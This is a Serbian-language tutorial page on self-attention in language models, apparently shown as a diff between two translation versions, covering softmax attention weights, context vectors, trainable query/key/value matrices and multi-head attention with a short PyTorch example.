#### Korak 2: Normalizacija rezultata pažnje da bi se dobile težine pažnje
{% hint style="success" %}
Ne gubi se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizuj sve težine tako da **ukupno sumiraju 1**.
Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **ukupno sumiraju 1**.
Pored toga, **softmax** funkcija se koristi jer naglašava razlike zbog eksponencijalnog dela, olakšavajući prepoznavanje korisnih vrednosti.
{% endhint %}
Primeni **softmax funkciju** na rezultate pažnje da bi ih pretvorio u težine pažnje koje se sabiraju na 1.
Primeni **softmax funkciju** na rezultate pažnje da bi ih pretvorio u težine pažnje koje sumiraju 1.
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
@ -84,7 +84,7 @@ Izračunavanje težina pažnje:
#### Korak 3: Izračunavanje vektora konteksta
{% hint style="success" %}
Samo uzmi svaku težinu pažnje i pomnoži je sa dimenzijama relevantnog tokena, a zatim saberi sve dimenzije da bi dobio samo 1 vektor (vektor konteksta)&#x20;
Samo uzmite svaku težinu pažnje i pomnožite je sa dimenzijama relevantnog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (vektor konteksta)&#x20;
{% endhint %}
**Vektor konteksta** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
@ -103,7 +103,7 @@ Izračunavanje svake komponente:
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
Sabiranje ponderisanih umetanja:
Saberanje ponderisanih umetanja:
`vektor konteksta=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
@ -111,19 +111,19 @@ Sabiranje ponderisanih umetanja:
### Sažetak procesa
1. **Izračunaj rezultate pažnje**: Koristi skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
2. **Normalizuj rezultate da bi dobio težine pažnje**: Primeni softmax funkciju na rezultate pažnje da bi dobio težine koje se sabiraju na 1.
3. **Izračunaj vektor konteksta**: Pomnoži umetanje svake reči sa njenom težinom pažnje i saberi rezultate.
1. **Izračunajte rezultate pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
2. **Normalizujte rezultate da dobijete težine pažnje**: Primeni softmax funkciju na rezultate pažnje da dobijete težine koje sumiraju 1.
3. **Izračunajte vektor konteksta**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
## Samopažnja sa težinama koje se mogu obučavati
U praksi, mehanizmi samopažnje koriste **težine koje se mogu obučavati** da bi naučili najbolje reprezentacije za upite, ključeve i vrednosti. Ovo uključuje uvođenje tri matrice težina:
U praksi, mehanizmi samopažnje koriste **težine koje se mogu obučavati** da nauče najbolje reprezentacije za upite, ključeve i vrednosti. Ovo uključuje uvođenje tri matrice težina:
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
Upit je podatak koji se koristi kao i ranije, dok su matrice ključeva i vrednosti samo nasumične matrice koje se mogu obučavati.
#### Korak 1: Izračunaj upite, ključeve i vrednosti
#### Korak 1: Izračunavanje upita, ključeva i vrednosti
Svaki token će imati svoju matricu upita, ključeva i vrednosti množenjem svojih dimenzionalnih vrednosti sa definisanim matricama:
@ -138,7 +138,7 @@ Pretpostavljajući:
* Ulazna dimenzija `din=3` (veličina umetanja)
* Izlazna dimenzija `dout=2` (željena dimenzija za upite, ključeve i vrednosti)
Inicijalizuj matrice težina:
Inicijalizujte matrice težina:
```python
import torch.nn as nn
@ -159,18 +159,18 @@ values = torch.matmul(inputs, W_value)
**Compute Attention Scores**
Slično prethodnom primeru, ali ovoga puta, umesto da koristimo vrednosti dimenzija tokena, koristimo ključnu matricu tokena (već izračunatu koristeći dimenzije):. Dakle, za svaki upit `qi` i ključ `kj`:
Slično prethodnom primeru, ali ovoga puta, umesto korišćenja vrednosti dimenzija tokena, koristimo ključnu matricu tokena (već izračunatu koristeći dimenzije):. Dakle, za svaku upit `qi` i ključ `kj`:
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**Scale the Scores**
Da bismo sprečili da dot proizvodi postanu preveliki, skaliramo ih kvadratnim korenom dimenzije ključa `dk`:
Da bismo sprečili da skalarni proizvodi postanu preveliki, skaliramo ih kvadratnim korenom dimenzije ključa `dk`:
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
{% hint style="success" %}
Rezultat se deli kvadratnim korenom dimenzija jer dot proizvodi mogu postati veoma veliki i ovo pomaže da se regulišu.
Rezultat se deli kvadratnim korenom dimenzija jer skalarni proizvodi mogu postati veoma veliki i ovo pomaže da se regulišu.
{% endhint %}
**Apply Softmax to Obtain Attention Weights:** Kao u inicijalnom primeru, normalizujte sve vrednosti tako da se saberu na 1.&#x20;
@ -179,7 +179,7 @@ Rezultat se deli kvadratnim korenom dimenzija jer dot proizvodi mogu postati veo
#### Step 3: Compute Context Vectors
Kao u inicijalnom primeru, samo saberite sve matrice vrednosti množeći svaku sa njenom težinom pažnje:
Kao u inicijalnom primeru, jednostavno saberite sve matrice vrednosti množeći svaku sa njenom težinom pažnje:
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
@ -412,7 +412,7 @@ Za još jednu kompaktno i efikasnu implementaciju možete koristiti [`torch.nn.M
{% hint style="success" %}
Kratak odgovor ChatGPT-a o tome zašto je bolje podeliti dimenzije tokena među glavama umesto da svaka glava proverava sve dimenzije svih tokena:
Iako omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja može delovati korisno jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga, deljenje dimenzija ugrađivanja se generalno preferira u odnosu na to da svaka glava proverava sve dimenzije.
Iako bi omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja moglo izgledati kao prednost jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga je deljenje dimenzija ugrađivanja generalno poželjnije od toga da svaka glava proverava sve dimenzije.
{% endhint %}
## References